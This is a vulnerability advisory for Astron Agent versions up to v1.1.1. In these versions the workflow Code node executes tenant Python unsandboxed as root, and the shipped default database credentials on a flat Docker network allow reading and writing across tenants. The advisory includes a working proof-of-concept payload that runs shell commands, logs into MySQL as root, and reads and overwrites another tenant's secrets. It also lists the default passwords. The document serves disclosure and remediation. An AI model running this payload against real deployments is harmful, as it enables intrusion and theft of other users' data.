
Overview
Astron Agent (iflytek/astron-agent) is iFLYTEK's open-source platform for building AI agent workflows.
Its workflow Code node runs user-supplied Python through a local executor that is documented as a RestrictedPython sandbox, but in practice calls exec with the full Python builtins and no isolation beyond a separate process. Because local is the shipped default, any authenticated low-privilege tenant who can build a workflow can execute arbitrary code as root inside the core-workflow container.
From there, the shipped default database credentials on a single flat Docker network let the attacker read, modify or delete every other tenant's data, bypassing the console's tenant authorization entirely.
The issue was fixed in v1.1.2.
Because any ordinary tenant who can build a workflow can run code as root on a default Astron Agent deployment and read or overwrite every other tenant's data, operators on v1.1.1 or earlier should upgrade to v1.1.2 immediately
Affected Product
This vulnerability is fixed in Astron Agent v1.1.2. Operators using v1.1.1 or earlier should upgrade promptly.
- Affected product: Astron Agent (iflytek/astron-agent).
- Affected versions: <= v1.1.1, when using the legacy unsandboxed local workflow code executor. Multi-tenant deployments are exposed to cross-tenant data access; single-tenant deployments are also affected by the code-execution and credential-exposure risk.
- Patched version: v1.1.2.
Affected Files
- core/workflow/engine/nodes/code/executor/local/local_executor.py
- core/workflow/engine/nodes/code/code_node.py
- core/workflow/configs/app_config.py
- docker/astronAgent/config/workflow/config.env
- docker/astronAgent/docker-compose.yaml
- docker/astronAgent/.env.example
- core/workflow/api/v1/chat/node_debug.py
- core/workflow/api/v1/router.py
- core/workflow/extensions/fastapi/middleware/auth.py
- docker/astronAgent/nginx/nginx.conf
Root Cause
Summary
An unsandboxed code-evaluation vulnerability in the default workflow code-node executor allows any authenticated low-privilege tenant to execute arbitrary code as root inside the core-workflow container, and from there to read and modify every other tenant's data in the shared databases. The executor is documented as using RestrictedPython for secure execution, but RestrictedPython is not a dependency of the project and no such restriction is implemented.
Details
1. The default executor is not a sandbox.
core/workflow/engine/nodes/code/executor/local/local_executor.py:
- :30 and :84 describe the class as "Local code executor using RestrictedPython for secure execution" and "Safely execute code using RestrictedPython with limited built-ins".
- :106 builds the execution namespace as sandbox_globals = {"__builtins__": builtins}, the complete builtins module, with no allow-list.
- :108-109 then calls exec(import_code, sandbox_globals) followed by exec(code, sandbox_globals, locals_dict).
- :115-130 _find_imports parses imports out of the submitted code but enforces no allow-list against them.
- :66-75 the only isolation is multiprocessing.Process plus a timeout. The child process runs in the same container, as the same user (root), on the same network, with the same filesystem.
RestrictedPython does not appear in core/workflow/pyproject.toml. The control named in the docstring is not in the dependency tree at all.
2. local is the shipped default.
- core/workflow/engine/nodes/code/code_node.py:134-138 selects the backend as "e2b" if sandbox_config else os.getenv("CODE_EXEC_TYPE", "local").
- docker/astronAgent/config/workflow/config.env sets CODE_EXEC_TYPE=local (line 123 in v1.1.1, line 138 on current main).
- core/workflow/configs/app_config.py:263 also defaults to local: exec_type: str = Field(default="local", alias="CODE_EXEC_TYPE").
An operator following the standard deployment instructions therefore gets the unsandboxed executor without opting into anything.
3. One flat network, with default superuser credentials.
docker/astronAgent/docker-compose.yaml places every service on a single astron-agent-network bridge (definition at L641-643 in v1.1.1; 20 service references to that network on current main).
Shipped credential defaults:
- PostgreSQL spark / spark123 (L13, L206), owner of sparkdb_manager and a superuser
- MySQL root / root123 (L32, L173, L211, reused at L271, L320, L358, L424, L458)
- MinIO minioadmin / minioadmin123 (L131, L306)
- Redis has no password in the base compose (L54)
- .env.example:175-176, 215-217 ship hardcoded tenant secrets (APP_AUTH_API_KEY, TENANT_ID)
The databases are not published to host ports, so they are not directly internet-reachable. That does not mitigate this issue, because the attacker is already executing code inside the network.
4. Cross-tenant authorization is bypassed rather than broken.
The console's SpaceService authorization logic is itself correct. The code-node path simply never passes through it: code in the executor connects to MySQL and PostgreSQL directly using the credentials above, so tenant and space checks do not apply. Isolation fails at the data layer, not the application layer.
5. The internal execution route requires no authentication.
- core/workflow/api/v1/chat/node_debug.py exposes POST /run and /code/run, mounted at /workflow/v1 and /sparkflow/v1 (core/workflow/api/v1/router.py:23,33).
- core/workflow/extensions/fastapi/middleware/auth.py:53-54 limits need_auth_paths to chat/completions, resume, publish and auth, so code/run is not covered. :57-59 trusts a client-supplied, and therefore spoofable, x-consumer-username header.
- docker/astronAgent/nginx/nginx.conf:148-151 returns 404 for /workflow/v1/ externally.
That nginx rule is the only thing preventing this from being an unauthenticated internet-facing path. From inside astron-agent-network, or via any SSRF that can reach core-workflow:7880, the route is reachable with no credentials.
PoC
All testing was performed on our own local deployments, using benign canaries, and every stack was destroyed afterwards. No iflytek system and no third-party deployment was touched. Nothing has been published.
We can offer two runs. The second is the one with attached artifacts you can execute yourself.
Run 1 - authenticated, full stack, end to end (2026-07-17)
Configuration: the shipped defaults, unmodified.
cd docker/astronAgentcp .env.example .env # no edits; the defaults are what we are demonstratingdocker compose up -d # 15 services, single astron-agent-network bridgeWe added casdoor for OIDC and had two genuine built-in tenants obtain JWTs through the real PKCE authorization-code flow (/api/login, then /api/login/oauth/access_token). As tenant_a we used the frontend's own test-code-node call, POST /console-api/workflow/code/run with a Bearer JWT (console/frontend/src/services/flow.ts:66). It traversed nginx to console-hub, where the JWT was validated by oauth2ResourceServer (WorkflowController.runCode, toolkit/.../workflow/WorkflowController.java:239), then to http://core-workflow:7880/workflow/v1/run, and into LocalExecutor. HTTP 200 returned:
id = uid=0(root) gid=0(root)
# root code execution in core-workflowmarker_written = true (/tmp/astron_pwned)mysql_user = root@%tenant_b_secret_READ = B-CONFIDENTIAL-a1b2c3-DO-NOT-LEAK
# cross-tenant readtenant_b_secret_AFTER_WRITE = OVERWRITTEN-BY-tenant_a-via-codenode
# cross-tenant write
A second authenticated run returned pg_user=spark, pg_is_superuser=on, PostgreSQL 14.23. This was verified independently rather than taken from our own payload's output: a direct MySQL query confirmed tenant_b's row was overwritten (updated_by=tenant_a(code-node)), and the console-hub log showed the request carrying tenant_a's casdoor uid and routing to core-workflow:7880/workflow/v1/run.
Surface comparison. From the host, /console-api/workflow/code/run returns 403 with no token, 401 with an invalid JWT, and 200 with full exploitation on a valid tenant JWT. /workflow/v1/code/run returns 404 externally, but is reachable unauthenticated from inside astron-agent-network. Both paths converge on the same root-executing, cross-tenant-capable LocalExecutor.
Run 2 - reproducible harness against v1.1.1 (2026-08-18, artifacts attached)
To give you something small enough to run in a couple of minutes, and to confirm the finding still holds on the current release, we rebuilt a minimal harness. It uses your local_executor.py byte for byte, taken from tag v1.1.1 (sha256 e3515fdea06f77b6b80498d1cb7027fdd05235715dab8ff0b6c519031f6abdd0, 131 lines) and placed at its real import path. Only four infrastructure imports are stubbed (BaseExecutor, CustomException, CodeEnum, Span, all tracing and exception plumbing); _safe_exec, _find_imports and _execute_in_process are untouched, and the payload is driven through the real public async execute() entrypoint.
The topology is four containers on one astron-agent-network bridge, with credentials copied from your compose defaults: MySQL root/root123, PostgreSQL spark/spark123, Redis unauthenticated. A tenant_secrets table is seeded with two tenants.
Payload submitted as an ordinary tenant would in a Code node (note the executor returns locals_dict["output"], so the payload assigns output):
import subprocess, socket, json, pymysql
res = {}
res["probe1_id"] = subprocess.check_output(["id"]).decode().strip()
conn = pymysql.connect(host="mysql", user="root", password="root123", database="astron_console")
cur = conn.cursor()
cur.execute("SELECT CURRENT_USER()");
res["probe3_mysql_user"] = cur.fetchone()[0]
cur.execute("SELECT tenant_id, secret FROM tenant_secrets ORDER BY tenant_id")
res["probe3_cross_tenant_read"] = cur.fetchall()
cur.execute("UPDATE tenant_secrets SET secret=%s, updated_by=%s WHERE tenant_id=%s", ("OVERWRITTEN-BY-tenant_a-via-codenode", "tenant_a(code-node)", "tenant_b"))conn.commit()
output = json.dumps(res, indent=2, default=str)Results, captured in evidence/poc_output.json:

Two of the probes deliberately use no database driver at all, establishing network reach with raw sockets so that reachability does not depend on which packages happen to be installed.
Impact
Vulnerability class: unsandboxed evaluation of untrusted code (CWE-95) combined with a failure of tenant compartmentalization (CWE-653), amplified by default superuser credentials (CWE-1392) on a shared network, with a missing authentication control on the internal route (CWE-306).
Who is affected: every self-hosted, multi-tenant astron-agent deployment using the shipped docker/astronAgent compose stack with the default CODE_EXEC_TYPE=local, on all releases through v1.1.1. Single-tenant deployments face the code-execution and credential-exposure impact but not the cross-tenant impact.
Who can exploit it: any authenticated user permitted to build a workflow. No administrative role is required and no container escape is needed. Separately, any peer on astron-agent-network, or any SSRF reaching core-workflow:7880, can trigger the same sink with no authentication at all.
What an attacker achieves:
- arbitrary code execution as root in the core-workflow container
- direct access to MySQL as root@%, PostgreSQL as superuser spark, unauthenticated Redis, and MinIO
- read of any other tenant's secrets and data, bypassing console authorization entirely
- modification and deletion of any other tenant's data
- denial of service against the whole platform, via table drops or resource exhaustion
- theft of the hardcoded tenant secrets shipped in .env.example
Suggested Remediation
Patches
The patched release rejects unsafe local code execution and enables the built-in isolated LangChain/Pyodide executor by default. E2B remains optional. The release also strengthens internal Workflow and Tenant API authentication, tenant checks, credential handling, and deployment isolation.
The executor migration in #1650 was integrated into main through #1651, together with the preceding security hardening. The reporting team re-ran its harness against main at aaef2a28 and confirmed the fix. The v1.1.2 release commit, 189600dd691e8562bd0b9f7112727b107b8a2e10, includes these changes and additional outbound plugin SSRF protection in #1669.
Additional Resources
- GitHub advisory: GHSA-mh3w-4q3f-2fg5
- Security release and upgrade notes: v1.1.2